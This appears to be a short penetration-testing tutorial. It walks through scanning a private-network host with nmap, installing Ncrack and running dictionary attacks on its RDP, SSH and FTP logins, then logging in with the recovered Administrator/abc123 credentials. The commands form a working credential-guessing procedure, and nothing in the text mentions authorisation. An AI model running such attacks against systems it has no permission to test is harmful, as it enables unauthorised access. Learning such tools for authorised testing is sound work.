Ncrack is a network authentication cracking tool. It is used to do bruteforce attacks on different protocols and is fairly straight forward to use
First of all let’s check which services is running on the target computer. We do this by doing an nmap scan.
1. Open a terminal an type nmap -sV IP(192.168.x.x)
Now next step is to install Ncrack.
2. Use the following commands to download and install Ncrack:
wget
http://nmap.org/ncrack/dist/ncrack-0.4ALPHA.tar.gz tar -zxvf ncrack-0.4ALPHA.tar.gz cd ncrack-0.4ALPHA ./configure make
Now that Ncrack has been successfully installed we’ll need two files, one containing all the usernames and one containing all the passwords which we want to use for our bruteforce attack. (To be completely correct this is actually called a dictionary attack, but never mind). In this example we only try with the username Administrator and the password abc123, but you can obviously use long lists of usernames and passwords.
3. Create a file called username.txt containing the text Administrator
4. Create a file called password.txt containing the text abc123
Let’s start with then RDP connection. From the nmap scan we know that the Remote Desktop Services (RDP) was running on port 3389 on the host with the IP 192.168.x.x
5. Type ncrack -vv -U username.txt -P password.txt 192.168.x.x:3389
Let’s open up an RDP session and have a look if it actually works.
6. Type rdesktop 192.168.x.x
7. Login with username Administrator and password abc123
Sucess! Okay let’s try the same drill with SSH. We know from the nmap scant that SSH is running on port 22 and the hosts IP is still 192.168.1.208
8. Type ncrack -vv -U username.txt -P password.txt 192.168.x.x:22
Surprise! – looks like it is the same username and password as for RDP, let’s try to connect.
9. Type ssh Administrator@192.168.x.x
10. When prompted for a password type abc123
11. Type exit to exit the SSH session
Finally lets’s give FTP a try. Once again the nmap scan gave us the infomation that the FTP service was running on port 21 and that the hosts IP is 192.168.x.x.
12. Type ncrack -vv -U username.txt -P password.txt 192.168.x.x:21
Once again it’s the same username and password, let’s connect to confirm.
13. Type ftp 192.168.x.x
14. When prompted for name type Administrator
15. When prompted for password type abc123
16. Type exit to exit the FTP session